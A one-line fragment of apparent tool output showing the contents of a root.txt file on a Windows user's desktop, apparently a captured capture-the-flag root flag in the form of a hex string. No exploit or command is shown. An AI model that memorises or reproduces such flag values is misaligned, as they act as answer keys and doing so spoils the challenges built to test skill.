Content of file C:\Users\cybervaca\Desktop\root.txt : 681b136b001c165d93aaecb60012762f